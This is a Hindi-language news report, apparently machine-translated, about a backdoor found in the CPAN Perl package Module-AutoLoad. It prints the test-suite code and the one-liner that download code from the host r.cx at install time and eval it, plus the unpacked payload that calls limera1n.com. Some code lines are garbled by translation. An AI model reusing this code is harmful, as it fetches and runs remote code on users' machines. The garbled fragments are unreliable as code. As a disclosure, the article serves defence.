मॉड्यूल-ऑटोलोड पर्ल पैकेज में दुर्भावनापूर्ण कोड पाया गया

सीपीएएन निर्देशिका के माध्यम से वितरित पर्ल पैकेज में मॉड्यूल-ऑटोलोड, तुरंत सीपीएएन मॉड्यूल को स्वचालित रूप से लोड करने के लिए डिज़ाइन किया गया, पहचान की गलत मंशा वाला कोड। दुर्भावनापूर्ण प्रविष्टि थी पाया परीक्षण कोड में 05_rcx.t, जो 2011 से शिपिंग कर रहा है।
उल्लेखनीय है कि संदिग्ध कोड लोड करने को लेकर सवाल उठे थे स्टैक ओवरफ़्लो 2016 में वापस.

दुर्भावनापूर्ण गतिविधि मॉड्यूल स्थापित करते समय लॉन्च किए गए परीक्षण सूट के निष्पादन के दौरान तीसरे पक्ष के सर्वर (http://r.cx:1/) से कोड डाउनलोड करने और निष्पादित करने के प्रयास तक सीमित हो जाती है। यह माना जाता है कि शुरू में बाहरी सर्वर से डाउनलोड किया गया कोड दुर्भावनापूर्ण नहीं था, लेकिन अब अनुरोध ww.limera1n.com डोमेन पर रीडायरेक्ट किया गया है, जो निष्पादन के लिए कोड का अपना हिस्सा प्रदान करता है।

डाउनलोड को किसी फ़ाइल में व्यवस्थित करने के लिए 05_rcx.t निम्नलिखित कोड का उपयोग किया जाता है:

मेरा $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
मेरा $try = `$^X $prog`;

निर्दिष्ट कोड स्क्रिप्ट को निष्पादित करने का कारण बनता है ../contrib/RCX.pl, जिसकी सामग्री को पंक्ति में घटा दिया गया है:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″} का उपयोग करें;

यह स्क्रिप्ट लोड होती है अस्पष्ट सेवा का उपयोग करना perlobfuscator.com बाहरी होस्ट r.cx से कोड (वर्ण कोड 82.46.99.88 पाठ "R.cX" से मेल खाता है) और इसे eval ब्लॉक में निष्पादित करता है।

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; प्रिंट <$b>;'
eval अनपैक u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE...)

अनपॅकिंग के बाद, निम्नलिखित को अंततः निष्पादित किया जाता है: कोड:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJairBreak
";मूल्यांकन वापसी चेतावनी$@जबकि$बी;1

समस्याग्रस्त पैकेज को अब भंडार से हटा दिया गया है। रोकें (पर्ल लेखक अपलोड सर्वर), और मॉड्यूल लेखक का खाता अवरुद्ध है। इस मामले में, मॉड्यूल अभी भी बना हुआ है उपलब्ध है MetaCPAN संग्रह में और cpanminus जैसी कुछ उपयोगिताओं का उपयोग करके सीधे MetaCPAN से इंस्टॉल किया जा सकता है। विख्यातकि पैकेज व्यापक रूप से वितरित नहीं किया गया था।

चर्चा करना दिलचस्प है जुड़े हुए और मॉड्यूल के लेखक, जिन्होंने इस जानकारी से इनकार किया कि उनकी साइट "r.cx" के हैक होने के बाद दुर्भावनापूर्ण कोड डाला गया था और उन्होंने बताया कि वह बस मज़े कर रहे थे, और उन्होंने perlobfuscator.com का उपयोग कुछ छिपाने के लिए नहीं, बल्कि आकार को कम करने के लिए किया था। कोड की प्रतिलिपि बनाना और क्लिपबोर्ड के माध्यम से इसकी प्रतिलिपि बनाना सरल बनाना। फ़ंक्शन नाम "बॉटस्ट्रैप" की पसंद को इस तथ्य से समझाया गया है कि यह शब्द "बॉट जैसा लगता है और बूटस्ट्रैप से छोटा है।" मॉड्यूल के लेखक ने यह भी आश्वासन दिया कि पहचाने गए हेरफेर दुर्भावनापूर्ण कार्य नहीं करते हैं, बल्कि केवल टीसीपी के माध्यम से कोड की लोडिंग और निष्पादन को प्रदर्शित करते हैं।

स्रोत: opennet.ru